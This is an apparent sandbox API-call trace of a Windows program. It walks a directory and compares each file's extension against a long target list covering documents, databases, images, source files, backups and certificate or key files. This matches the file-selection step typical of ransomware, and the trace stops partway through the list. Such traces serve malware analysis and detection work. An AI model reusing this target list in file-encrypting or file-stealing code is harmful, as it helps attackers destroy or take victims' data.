	[0182.082] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f9117b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1
	[0182.082] lstrlenW (lpString="customizations.xml") returned 18
	[0182.082] lstrlenW (lpString=".1cd") returned 4
	[0182.082] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0182.082] lstrlenW (lpString=".3ds") returned 4
	[0182.082] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0182.082] lstrlenW (lpString=".3fr") returned 4
	[0182.082] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0182.082] lstrlenW (lpString=".3g2") returned 4
	[0182.082] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0182.082] lstrlenW (lpString=".3gp") returned 4
	[0182.082] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0182.082] lstrlenW (lpString=".7z") returned 3
	[0182.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0182.082] lstrlenW (lpString=".accda") returned 6
	[0182.082] lstrcmpiW (lpString1=".accda", lpString2="ns.xml") returned -1
	[0182.082] lstrlenW (lpString=".accdb") returned 6
	[0182.082] lstrcmpiW (lpString1=".accdb", lpString2="ns.xml") returned -1
	[0182.082] lstrlenW (lpString=".accdc") returned 6
	[0182.082] lstrcmpiW (lpString1=".accdc", lpString2="ns.xml") returned -1
	[0182.083] lstrlenW (lpString=".accde") returned 6
	[0182.083] lstrcmpiW (lpString1=".accde", lpString2="ns.xml") returned -1
	[0182.083] lstrlenW (lpString=".accdt") returned 6
	[0182.083] lstrcmpiW (lpString1=".accdt", lpString2="ns.xml") returned -1
	[0182.083] lstrlenW (lpString=".accdw") returned 6
	[0182.083] lstrcmpiW (lpString1=".accdw", lpString2="ns.xml") returned -1
	[0182.083] lstrlenW (lpString=".adb") returned 4
	[0182.083] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".adp") returned 4
	[0182.083] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".ai") returned 3
	[0182.083] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0182.083] lstrlenW (lpString=".ai3") returned 4
	[0182.083] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".ai4") returned 4
	[0182.083] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".ai5") returned 4
	[0182.083] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".ai6") returned 4
	[0182.083] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".ai7") returned 4
	[0182.083] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".ai8") returned 4
	[0182.083] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".anim") returned 5
	[0182.083] lstrcmpiW (lpString1=".anim", lpString2="s.xml") returned -1
	[0182.083] lstrlenW (lpString=".arw") returned 4
	[0182.083] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".as") returned 3
	[0182.083] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0182.083] lstrlenW (lpString=".asa") returned 4
	[0182.083] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".asc") returned 4
	[0182.083] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0182.083] lstrlenW (lpString=".ascx") returned 5
	[0182.083] lstrcmpiW (lpString1=".ascx", lpString2="s.xml") returned -1
	[0182.083] lstrlenW (lpString=".asm") returned 4
	[0182.084] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".asmx") returned 5
	[0182.084] lstrcmpiW (lpString1=".asmx", lpString2="s.xml") returned -1
	[0182.084] lstrlenW (lpString=".asp") returned 4
	[0182.084] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".aspx") returned 5
	[0182.084] lstrcmpiW (lpString1=".aspx", lpString2="s.xml") returned -1
	[0182.084] lstrlenW (lpString=".asr") returned 4
	[0182.084] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".asx") returned 4
	[0182.084] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".avi") returned 4
	[0182.084] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".avs") returned 4
	[0182.084] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".backup") returned 7
	[0182.084] lstrcmpiW (lpString1=".backup", lpString2="ons.xml") returned -1
	[0182.084] lstrlenW (lpString=".bak") returned 4
	[0182.084] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".bay") returned 4
	[0182.084] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".bd") returned 3
	[0182.084] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0182.084] lstrlenW (lpString=".bin") returned 4
	[0182.084] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".bmp") returned 4
	[0182.084] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".bz2") returned 4
	[0182.084] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".c") returned 2
	[0182.084] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0182.084] lstrlenW (lpString=".cdr") returned 4
	[0182.084] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".cer") returned 4
	[0182.084] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0182.084] lstrlenW (lpString=".cf") returned 3
	[0182.084] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0182.084] lstrlenW (lpString=".cfc") returned 4
	[0182.085] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".cfm") returned 4
	[0182.085] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".cfml") returned 5
	[0182.085] lstrcmpiW (lpString1=".cfml", lpString2="s.xml") returned -1
	[0182.085] lstrlenW (lpString=".cfu") returned 4
	[0182.085] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".chm") returned 4
	[0182.085] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".cin") returned 4
	[0182.085] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".class") returned 6
	[0182.085] lstrcmpiW (lpString1=".class", lpString2="ns.xml") returned -1
	[0182.085] lstrlenW (lpString=".clx") returned 4
	[0182.085] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".config") returned 7
	[0182.085] lstrcmpiW (lpString1=".config", lpString2="ons.xml") returned -1
	[0182.085] lstrlenW (lpString=".cpp") returned 4
	[0182.085] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".cr2") returned 4
	[0182.085] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".crt") returned 4
	[0182.085] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".crw") returned 4
	[0182.085] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".cs") returned 3
	[0182.085] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0182.085] lstrlenW (lpString=".css") returned 4
	[0182.085] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".csv") returned 4
	[0182.085] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".cub") returned 4
	[0182.085] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".dae") returned 4
	[0182.085] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".dat") returned 4
	[0182.085] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0182.085] lstrlenW (lpString=".db") returned 3
	[0182.086] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0182.086] lstrlenW (lpString=".dbf") returned 4
	[0182.086] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dbx") returned 4
	[0182.086] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dc3") returned 4
	[0182.086] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dcm") returned 4
	[0182.086] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dcr") returned 4
	[0182.086] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".der") returned 4
	[0182.086] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dib") returned 4
	[0182.086] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dic") returned 4
	[0182.086] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dif") returned 4
	[0182.086] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".divx") returned 5
	[0182.086] lstrcmpiW (lpString1=".divx", lpString2="s.xml") returned -1
	[0182.086] lstrlenW (lpString=".djvu") returned 5
	[0182.086] lstrcmpiW (lpString1=".djvu", lpString2="s.xml") returned -1
	[0182.086] lstrlenW (lpString=".dng") returned 4
	[0182.086] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".doc") returned 4
	[0182.086] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".docm") returned 5
	[0182.086] lstrcmpiW (lpString1=".docm", lpString2="s.xml") returned -1
	[0182.086] lstrlenW (lpString=".docx") returned 5
	[0182.086] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0182.086] lstrlenW (lpString=".dot") returned 4
	[0182.086] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0182.086] lstrlenW (lpString=".dotm") returned 5
	[0182.086] lstrcmpiW (lpString1=".dotm", lpString2="s.xml") returned -1
	[0182.086] lstrlenW (lpString=".dotx") returned 5
	[0182.086] lstrcmpiW (lpString1=".dotx", lpString2="s.xml") returned -1
	[0182.086] lstrlenW (lpString=".dpx") returned 4
	[0182.087] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".dqy") returned 4
	[0182.087] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".dsn") returned 4
	[0182.087] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".dt") returned 3
	[0182.087] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0182.087] lstrlenW (lpString=".dtd") returned 4
	[0182.087] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".dwg") returned 4
	[0182.087] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".dwt") returned 4
	[0182.087] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".dx") returned 3
	[0182.087] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0182.087] lstrlenW (lpString=".dxf") returned 4
	[0182.087] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".edml") returned 5
	[0182.087] lstrcmpiW (lpString1=".edml", lpString2="s.xml") returned -1
	[0182.087] lstrlenW (lpString=".efd") returned 4
	[0182.087] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".elf") returned 4
	[0182.087] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".emf") returned 4
	[0182.087] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".emz") returned 4
	[0182.087] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".epf") returned 4
	[0182.087] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".eps") returned 4
	[0182.087] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".epsf") returned 5
	[0182.087] lstrcmpiW (lpString1=".epsf", lpString2="s.xml") returned -1
	[0182.087] lstrlenW (lpString=".epsp") returned 5
	[0182.087] lstrcmpiW (lpString1=".epsp", lpString2="s.xml") returned -1
	[0182.087] lstrlenW (lpString=".erf") returned 4
	[0182.087] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0182.087] lstrlenW (lpString=".exr") returned 4
	[0182.088] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".f4v") returned 4
	[0182.088] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".fido") returned 5
	[0182.088] lstrcmpiW (lpString1=".fido", lpString2="s.xml") returned -1
	[0182.088] lstrlenW (lpString=".flm") returned 4
	[0182.088] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".flv") returned 4
	[0182.088] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".frm") returned 4
	[0182.088] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".fxg") returned 4
	[0182.088] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".geo") returned 4
	[0182.088] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".gif") returned 4
	[0182.088] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".grs") returned 4
	[0182.088] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".gz") returned 3
	[0182.088] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0182.088] lstrlenW (lpString=".h") returned 2
	[0182.088] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0182.088] lstrlenW (lpString=".hdr") returned 4
	[0182.088] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".hpp") returned 4
	[0182.088] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".hta") returned 4
	[0182.088] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".htc") returned 4
	[0182.088] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".htm") returned 4
	[0182.088] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".html") returned 5
	[0182.088] lstrcmpiW (lpString1=".html", lpString2="s.xml") returned -1
	[0182.088] lstrlenW (lpString=".icb") returned 4
	[0182.088] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0182.088] lstrlenW (lpString=".ics") returned 4
	[0182.089] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".iff") returned 4
	[0182.089] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".inc") returned 4
	[0182.089] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".indd") returned 5
	[0182.089] lstrcmpiW (lpString1=".indd", lpString2="s.xml") returned -1
	[0182.089] lstrlenW (lpString=".ini") returned 4
	[0182.089] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".iqy") returned 4
	[0182.089] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".j2c") returned 4
	[0182.089] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".j2k") returned 4
	[0182.089] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".java") returned 5
	[0182.089] lstrcmpiW (lpString1=".java", lpString2="s.xml") returned -1
	[0182.089] lstrlenW (lpString=".jp2") returned 4
	[0182.089] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".jpc") returned 4
	[0182.089] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".jpe") returned 4
	[0182.089] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".jpeg") returned 5
	[0182.089] lstrcmpiW (lpString1=".jpeg", lpString2="s.xml") returned -1
	[0182.089] lstrlenW (lpString=".jpf") returned 4
	[0182.089] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".jpg") returned 4
	[0182.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".jpx") returned 4
	[0182.089] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".js") returned 3
	[0182.089] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0182.089] lstrlenW (lpString=".jsf") returned 4
	[0182.089] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1
	[0182.089] lstrlenW (lpString=".json") returned 5
	[0182.089] lstrcmpiW (lpString1=".json", lpString2="s.xml") returned -1
	[0182.089] lstrlenW (lpString=".jsp") returned 4
	[0182.090] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".kdc") returned 4
	[0182.090] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".kmz") returned 4
	[0182.090] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".kwm") returned 4
	[0182.090] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".lasso") returned 6
	[0182.090] lstrcmpiW (lpString1=".lasso", lpString2="ns.xml") returned -1
	[0182.090] lstrlenW (lpString=".lbi") returned 4
	[0182.090] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".lgf") returned 4
	[0182.090] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".lgp") returned 4
	[0182.090] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".log") returned 4
	[0182.090] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".m1v") returned 4
	[0182.090] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".m4a") returned 4
	[0182.090] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".m4v") returned 4
	[0182.090] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".max") returned 4
	[0182.090] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".md") returned 3
	[0182.090] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1
	[0182.090] lstrlenW (lpString=".mda") returned 4
	[0182.090] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".mdb") returned 4
	[0182.090] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".mde") returned 4
	[0182.090] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".mdf") returned 4
	[0182.090] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".mdw") returned 4
	[0182.090] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1
	[0182.090] lstrlenW (lpString=".mef") returned 4
	[0182.091] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mft") returned 4
	[0182.091] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mfw") returned 4
	[0182.091] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mht") returned 4
	[0182.091] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mhtml") returned 6
	[0182.091] lstrcmpiW (lpString1=".mhtml", lpString2="ns.xml") returned -1
	[0182.091] lstrlenW (lpString=".mka") returned 4
	[0182.091] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mkidx") returned 6
	[0182.091] lstrcmpiW (lpString1=".mkidx", lpString2="ns.xml") returned -1
	[0182.091] lstrlenW (lpString=".mkv") returned 4
	[0182.091] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mos") returned 4
	[0182.091] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mov") returned 4
	[0182.091] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mp3") returned 4
	[0182.091] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mp4") returned 4
	[0182.091] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mpeg") returned 5
	[0182.091] lstrcmpiW (lpString1=".mpeg", lpString2="s.xml") returned -1
	[0182.091] lstrlenW (lpString=".mpg") returned 4
	[0182.091] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mpv") returned 4
	[0182.091] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mrw") returned 4
	[0182.091] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".msg") returned 4
	[0182.091] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".mxl") returned 4
	[0182.091] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1
	[0182.091] lstrlenW (lpString=".myd") returned 4
	[0182.091] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".myi") returned 4
	[0182.092] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".nef") returned 4
	[0182.092] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".nrw") returned 4
	[0182.092] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".obj") returned 4
	[0182.092] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".odb") returned 4
	[0182.092] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".odc") returned 4
	[0182.092] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".odm") returned 4
	[0182.092] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".odp") returned 4
	[0182.092] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".ods") returned 4
	[0182.092] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".oft") returned 4
	[0182.092] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".one") returned 4
	[0182.092] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".onepkg") returned 7
	[0182.092] lstrcmpiW (lpString1=".onepkg", lpString2="ons.xml") returned -1
	[0182.092] lstrlenW (lpString=".onetoc2") returned 8
	[0182.092] lstrcmpiW (lpString1=".onetoc2", lpString2="ions.xml") returned -1
	[0182.092] lstrlenW (lpString=".opt") returned 4
	[0182.092] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".oqy") returned 4
	[0182.092] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".orf") returned 4
	[0182.092] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".p12") returned 4
	[0182.092] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".p7b") returned 4
	[0182.092] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1
	[0182.092] lstrlenW (lpString=".p7c") returned 4
	[0182.092] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pam") returned 4
	[0182.093] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pbm") returned 4
	[0182.093] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pct") returned 4
	[0182.093] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pcx") returned 4
	[0182.093] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pdd") returned 4
	[0182.093] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pdf") returned 4
	[0182.093] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pdp") returned 4
	[0182.093] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pef") returned 4
	[0182.093] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pem") returned 4
	[0182.093] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pff") returned 4
	[0182.093] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pfm") returned 4
	[0182.093] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pfx") returned 4
	[0182.093] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".pgm") returned 4
	[0182.093] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".php") returned 4
	[0182.093] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1
	[0182.093] lstrlenW (lpString=".php3") returned 5
	[0182.093] lstrcmpiW (lpString1=".php3", lpString2="s.xml") returned -1
	[0182.093] lstrlenW (lpString=".php4") returned 5
	[0182.093] lstrcmpiW (lpString1=".php4", lpString2="s.xml") returned -1
	[0182.093] lstrlenW (lpString=".php5") returned 5
	[0182.093] lstrcmpiW (lpString1=".php5", lpString2="s.xml") returned -1
	[0182.093] lstrlenW (lpString=".phtml") returned 6
	[0182.093] lstrcmpiW (lpString1=".phtml", lpString2="ns.xml") returned -1
	[0182.093] lstrlenW (lpString=".pict") returned 5
	[0182.093] lstrcmpiW (lpString1=".pict", lpString2="s.xml") returned -1
	[0182.094] lstrlenW (lpString=".pl") returned 3
	[0182.094] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1
	[0182.094] lstrlenW (lpString=".pls") returned 4
